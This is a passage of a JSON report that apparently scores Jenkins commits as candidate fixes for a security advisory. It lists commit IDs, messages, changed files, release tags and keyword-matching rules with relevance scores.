c8156d41f2e6abf52b41669287e9ab771080b8e4)", - "changed_files": [ - "core/src/main/java/hudson/FilePath.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8814": "" - }, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "c8156d41f2e6abf52b41669287e9ab771080b8e4" - ] - ], - "tags": [ - "jenkins-2.426.3", - "jenkins-2.426.3-rc" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: read, content, controller, path, file, system", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file, path", - "relevance": 4 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8814", - "relevance": 2 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "434bf2b0f8a7181af45e66bbab3b3033ea17376b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1710057391, - "hunks": 10, - "message": "[JENKINS-72833] Do not attempt to self-`exec` on systems without `libc` (#9025)", - "changed_files": [ - "core/src/main/java/hudson/lifecycle/Lifecycle.java", - "core/src/main/java/hudson/lifecycle/UnixLifecycle.java", - "core/src/main/java/jenkins/util/JavaVMArguments.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9025": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: system", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: argument", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9025", - "relevance": 2 - }, - { - "id": "COMMIT_IS_SECURITY_RELEVANT", - "message": "", - "relevance": 32 - } - ] - }, - { - "commit_id": "3c042d12b836e21c8e566294f168faa29d9d8d95", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709331485, - "hunks": 69, - "message": "Reduce usage of `StringUtils` (#8999)", - "changed_files": [ - "cli/src/main/java/hudson/cli/CLI.java", - "core/src/main/java/hudson/FilePath.java", - "core/src/main/java/hudson/Functions.java", - "core/src/main/java/hudson/PluginManager.java", - "core/src/main/java/hudson/model/Computer.java", - "core/src/main/java/hudson/model/DirectoryBrowserSupport.java", - "core/src/main/java/hudson/model/TopLevelItemDescriptor.java", - "core/src/main/java/hudson/model/User.java", - "core/src/main/java/hudson/model/View.java", - "core/src/main/java/hudson/model/ViewDescriptor.java", - "core/src/main/java/hudson/security/SecurityRealm.java", - "core/src/main/java/hudson/tasks/BuildTrigger.java", - "core/src/main/java/hudson/tasks/Maven.java", - "core/src/main/java/hudson/triggers/SCMTrigger.java", - "core/src/main/java/hudson/util/io/ZipArchiver.java", - "core/src/main/java/jenkins/install/InstallState.java", - "core/src/main/java/jenkins/install/InstallUtil.java", - "core/src/main/java/jenkins/model/AssetManager.java", - "core/src/main/java/jenkins/model/ProjectNamingStrategy.java", - "core/src/main/java/jenkins/security/ApiTokenProperty.java", - "core/src/main/java/jenkins/security/apitoken/ApiTokenStore.java", - "core/src/main/java/jenkins/tasks/filters/impl/RetainVariablesLocalRule.java", - "core/src/main/java/jenkins/triggers/ReverseBuildTrigger.java", - "core/src/main/java/jenkins/util/SystemProperties.java", - "core/src/main/java/jenkins/util/TreeString.java", - "core/src/main/java/jenkins/util/VirtualFile.java", - "core/src/main/java/org/jenkins/ui/symbol/Symbol.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8999": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: CLI", - "relevance": 8 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file, path, system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8999", - "relevance": 2 - } - ] - }, - { - "commit_id": "c43a8636bb381797a2e2fe0adebc832d523c4b66", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709827371, - "hunks": 0, - "message": "Merge pull request #9014 from krisstern/feat/stable-2.440/backporting-2.440.2-1 Backporting for LTS 2.440.2", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9014": "2.440.2 release checklist jenkins-infra/release#510" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc" - ], - "matched_rules": [ - { - "id": "RELEVANT_WORDS_IN_MESSAGE", - "message": "The commit message contains some relevant words: LTS", - "relevance": 8 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9014", - "relevance": 2 - } - ] - }, - { - "commit_id": "9f68c181de2b710ce6b9f05b09d9475a89ab6fe8", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709668895, - "hunks": 28, - "message": "[JENKINS-72540] FilePath.copyRecursiveTo() copying now also if local and remote have incompatible character sets at binary level (#8860) * allow specification of achrive's file name encoding in Archiver#create() For JENKINS-72540 only needed for tar, but changed zip for consistency as well. * revise copyRecursiveTo to use same file name encoding locally and remote such that local and remote understand each other Otherwise, if remote is z/OS with native EBCDIC encoding the file names will be in EBCDIC and fails reading", - "changed_files": [ - "core/src/main/java/hudson/FilePath.java", - "core/src/main/java/hudson/util/io/ArchiverFactory.java", - "core/src/main/java/hudson/util/io/TarArchiver.java", - "core/src/main/java/hudson/util/io/ZipArchiver.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8860": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: read, character, allow, path, file", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file, path", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8860", - "relevance": 2 - } - ] - }, - { - "commit_id": "3fdda4868a77e21b1a8d7cb625b33a1b19bc917e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1709563592, - "hunks": 4, - "message": "use tabPane to show agent systeminfo extensions (#9006) * use tabPane to show agents systeminfo extensions On an agents systemInfo page, the extensions are displayed in a tabPane Use app-bar for the heading, this removes the icon. This was the only page for an agent where an icon was used in the heading. * don't include js when not connected", - "changed_files": [ - "core/src/main/resources/hudson/slaves/SlaveComputer/systemInfo.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "9006": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: system", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 9006", - "relevance": 2 - } - ] - }, - { - "commit_id": "b91a57ca201987b20c5333b354b10f44f14271ea", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1707257692, - "hunks": 15, - "message": "Cleaning up more FilePath API restrictions (#8924)", - "changed_files": [ - "core/src/main/java/hudson/FilePath.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8924": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file, path", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file, path", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8924", - "relevance": 2 - } - ] - }, - { - "commit_id": "3e6dc60edbdb2293ac35b2059ba1fe864b5f5242", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1706888409, - "hunks": 2, - "message": "Unrestrict FilePath.isDescendant (#8913) * Unrestrict FilePath.isDescendant I needed this and noticed that it was still restricted. * Fix spotless Signed-off-by: Alexander Brandes --------- Signed-off-by: Alexander Brandes Co-authored-by: Alexander Brandes ", - "changed_files": [ - "core/src/main/java/hudson/FilePath.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8913": "Cleaning up more FilePath API restrictions #8924" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: file, path", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: file, path", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8913", - "relevance": 2 - } - ] - }, - { - "commit_id": "6b2e962047d6a240313286ee8580a5010383aea0", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705425019, - "hunks": 5, - "message": "[SECURITY-3315]", - "changed_files": [ - "core/src/main/java/hudson/cli/CLIAction.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [ - [ - "no-tag", - "de450967f38398169650b55c002f1229a3fcdb1b" - ] - ], - "tags": [ - "jenkins-2.426.3" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: CLI", - "relevance": 8 - }, - { - "id": "COMMIT_HAS_TWINS", - "message": "This commit has one or more twins.", - "relevance": 2 - } - ] - }, - { - "commit_id": "72eb26a63b6af8d99c26194608f7bae809c398ff", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705241869, - "hunks": 30, - "message": "Update operating system end of life data (#8864) Add end of life data for several more Linux releases Adds data for: * Alpine Linux 3.19 * Amazon Linux 2 (already end of life for Jenkins) * Amazon Linux 2023 * Fedora 39 Includes test data for more Linux operating systems that were already included in the end of life data.", - "changed_files": [ - "core/src/main/java/jenkins/monitor/OperatingSystemEndOfLifeAdminMonitor.java", - "core/src/main/resources/jenkins/monitor/OperatingSystemEndOfLifeAdminMonitor/end-of-life-data.json" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8864": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: read, system", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: system", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8864", - "relevance": 2 - } - ] - }, - { - "commit_id": "faf22cdb401bea57f48c45f2e62239c41e068c37", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1705158562, - "hunks": 9, - "message": "Remove unused material-icons (#8831) * Update the icon path in SvgIconTest * Remove unused material-icons", - "changed_files": [ - "war/src/main/webapp/images/material-icons/computer-24px.svg", - "war/src/main/webapp/images/material-icons/edit.svg", - "war/src/main/webapp/images/material-icons/feed.svg", - "war/src/main/webapp/images/material-icons/rss_feed-24px.svg", - "war/src/main/webapp/images/material-icons/svg-sprite-action-symbol.svg", - "war/src/main/webapp/images/material-icons/svg-sprite-content-symbol.svg", - "war/src/main/webapp/images/material-icons/svg-sprite-navigation-symbol.svg", - "war/src/main/webapp/images/material-icons/svg-sprite-social-symbol.svg", - "war/src/main/webapp/images/material-icons/view_headline-24px.svg" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8831": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "ADV_KEYWORDS_IN_MSG", - "message": "The commit message and the advisory description contain the following keywords: path", - "relevance": 4 - }, - { - "id": "ADV_KEYWORDS_IN_FILES", - "message": "An advisory keyword is contained in the changed files: content", - "relevance": 4 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8831", - "relevance": 2 - } - ] - }, - { - "commit_id": "96dc95a55e9cd10874481ec7b6390a09413ecee6", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704833575, - "hunks": 0, - "message": "Merge pull request #8843 from krisstern/feat/stable-2.426/backporting-2.426.3-1 Backporting LTS 2.426.3", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8843": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.426.3", - "jenkins-2.426.3-rc" - ], - "matched_rules": [ - { - "id": "RELEVANT_WORDS_IN_MESSAGE", - "message": "The commit message contains some relevant words: LTS", - "relevance": 8 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8843", - "relevance": 2 - } - ] - }, - { - "commit_id": "81c3249ca0e6bcc69e1caa2e6828ec6c8c0884cd", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1704183075, - "hunks": 4, - "message": "Use spotbugs 4.8.2 with more exclusions (#8803)", - "changed_files": [ - "core/src/spotbugs/excludesFilter.xml", - "pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8803": "Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/extras-memory-monitor#75 Confirm no new spotbugs warnings from 4.8.2 jenkinsci/bom#2777 Confirm no new spotbugs warnings from 4.8.2 jenkinsci/bridge-method-injector#79 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/extensibility-api#26 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/jellydoc-maven-plugin#79 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/jenkins-test-harness-htmlunit#136 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-access-modifier#177 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-annotation-indexer#83 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-crypto-util#87 Use spotbugs 4.8.2 with more exclusions jenkinsci/lib-file-leak-detector#164 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-mock-javamail#67 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-process-utils#17 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-support-log-formatter#59 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-symbol-annotation#51 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-task-reactor#80 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/maven-hpi-plugin#566 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/plugin-compat-tester#622 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/plugin-installation-manager-tool#633 Use spotbugs 4.8.2 with more exclusions jenkinsci/remoting#708 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/stapler-maven-plugin#88 Use spotbugs 4.8.2 with more exclusions jenkinsci/stapler#507 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/trilead-ssh2#172 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/winp#106 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/winstone#356 Bump com.github.spotbugs:spotbugs-maven-plugin from 4.7.3.6 to 4.8.2.0 jenkinsci/pom#510 Rely on parent pom spotbugs configuration #8855" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: CLI", - "relevance": 8 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8803", - "relevance": 2 - } - ] - }, - { - "commit_id": "3e04c2ac3d20207279ec246ce6385a0d3652ac3f", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703183843, - "hunks": 25, - "message": "Update Freestyle project description (#8795) * Update Freestyle project description * Fix typo * Fix another typo --------- Co-authored-by: Daniel Beck ", - "changed_files": [ - "core/src/main/resources/hudson/model/Messages.properties", - "core/src/main/resources/hudson/model/Messages_bg.properties", - "core/src/main/resources/hudson/model/Messages_ca.properties", - "core/src/main/resources/hudson/model/Messages_cs.properties", - "core/src/main/resources/hudson/model/Messages_da.properties", - "core/src/main/resources/hudson/model/Messages_de.properties", - "core/src/main/resources/hudson/model/Messages_es.properties", - "core/src/main/resources/hudson/model/Messages_et.properties", - "core/src/main/resources/hudson/model/Messages_fi.properties", - "core/src/main/resources/hudson/model/Messages_fr.properties", - "core/src/main/resources/hudson/model/Messages_it.properties", - "core/src/main/resources/hudson/model/Messages_ja.properties", - "core/src/main/resources/hudson/model/Messages_ko.properties", - "core/src/main/resources/hudson/model/Messages_lt.properties", - "core/src/main/resources/hudson/model/Messages_nb_NO.properties", - "core/src/main/resources/hudson/model/Messages_nl.properties", - "core/src/main/resources/hudson/model/Messages_pl.properties", - "core/src/main/resources/hudson/model/Messages_pt_BR.properties", - "core/src/main/resources/hudson/model/Messages_pt_PT.properties", - "core/src/main/resources/hudson/model/Messages_ro.properties", - "core/src/main/resources/hudson/model/Messages_ru.properties", - "core/src/main/resources/hudson/model/Messages_sv_SE.properties", - "core/src/main/resources/hudson/model/Messages_tr.properties", - "core/src/main/resources/hudson/model/Messages_uk.properties", - "core/src/main/resources/hudson/model/Messages_zh_TW.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8795": "Translate freestyle project description to Turkish #9066" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "CHANGES_RELEVANT_CODE", - "message": "The commit modifies code containing relevant filename or methods: CLI", - "relevance": 8 - }, - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8795", - "relevance": 2 - } - ] - }, - { - "commit_id": "044c071235f0a64fb8390e784c7e1abb52aecb05", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1703183829, - "hunks": 2, - "message": "Fix import used for Javadoc (#8790) Co-authored-by: Daniel Beck ", - "changed_files": [ - "core/src/main/java/hudson/cli/declarative/CLIMethod.java" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8790": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - 